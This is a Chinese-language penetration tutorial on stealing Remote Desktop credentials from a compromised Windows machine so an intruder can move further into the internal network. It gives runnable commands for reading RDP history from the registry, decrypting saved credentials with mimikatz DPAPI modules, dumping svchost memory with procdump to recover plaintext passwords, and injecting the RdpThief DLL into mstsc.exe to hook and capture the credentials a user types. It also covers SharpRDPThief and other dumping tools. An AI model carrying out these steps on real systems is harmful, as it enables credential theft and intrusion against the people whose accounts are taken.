当通过边界渗透进入内网后,通过密码暴力破解,内网应用等获取内网Windows权限后,通过代理等进行远程桌面登录,查看并获取远程桌面连接历史IP地址以及保存的用户名和密码,可以继续进行内网渗透,获取更多的权限。
获取远程桌面(RDP)连接的历史IP记录可以帮助管理员了解哪些服务器或远程机器曾被连接过。这些信息通常存储在Windows注册表中。可以打开远程桌面mstsc后,在计算机列表中可以看到曾经的历史登录IP,有些IP可能还保存了登录用户名和密码,使用这些凭据可以直接登录管理员曾经登录过的服务器,前提是需要获取该服务器或者个人主机的远程登录权限。
注册表键值查看,按 Win + R 键,输入 regedit,然后按回车键,导航到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,可以看到历史登录过的服务器IP地址获取域名。
powershell下执行命令:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
4、通过ListRDPConnections获取远程桌面连接历史记录
https://github.com/Heart-Sky/ListRDPConnections
只能获取历史连接记录。
Windows凭据管理器(Credential Manager)是Windows操作系统中的一个组件,它帮助用户管理和存储各种类型的登录信息和其他敏感数据。通过凭据管理器,用户可以安全地保存网站、网络资源和Windows域的用户名和密码等信息,以便在需要时自动填充这些凭证,从而简化访问受保护资源的过程。
凭据管理器的主要功能
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials
(1)查看当前保存的凭据
cmdkey /list
(2)cmd下查看保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
(3)PowerShell下查看保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
也可以一句话直接执行:
mimikatz # mimikatz.exe "privilege::debug" "dpapi::cred
/in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3"
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
说明凭据文件是通过dir /a “%userprofile%\AppData\Local\Microsoft\Credentials\*”获取的。
记录guidMasterKey:{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
也可以直接cmd下执行命令
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
Windows11下执行未能测试成功。
正确的图如下:
mimikatz.exe "dpapi::cred /in:C:\Users\3650\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
svchost.exe 是 Windows 中用于运行多个服务的通用主机进程,对系统正常运行至关重要。当用户通过 RDP 远程桌面连接并进行身份验证时,相关服务由 svchost.exe 托管。由于 Windows 身份验证机制的原因,RDP 凭据可能以纯文本形式短暂存在于 svchost.exe 的内存中,这使得通过内存转储技术理论上可以提取这些凭据。
sc queryex termservice
通过 procdump.exe 将 PID 进程内存转储为 .dmp
procdump64.exe -ma PID -accepteula C:\Users\Administrator\Desktop
privilege::debugts::logonpasswords# mimikatz.exe "privilege::debug" "ts::logonpasswords"
•项目地址:https://github.com/peewpw/Invoke-WCMDump
Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。
Import-Module .\Invoke-WCMDump.ps1
PowerShell默认设置为Restricted,这意味着不允许运行任何脚本,包括本地脚本。为了运行自定义脚本,需要更改执行策略。
Import-Module .\Invoke-WCMDump.ps1
当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief(https://github.com/0x09AL/RdpThief) 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。
6.2、依次执行以下命令
抓出来的凭据存储在 %temp%\data.bin 目录下
(1)获取mstsc的pid值假设为1111
tasklist /v | findstr "mstsc"
(2)注入RdpThief.dll
Import-Module .\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 1111-Dll RdpThief.dll
SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据。
Remote Desktop PassView v1.02对Windows早期版本可以读取密码,对于Windows11无法读取保存的密码。
工具下载地址:https://www.nirsoft.net/utils/remote_desktop_password.html
直接运行rdpv即可。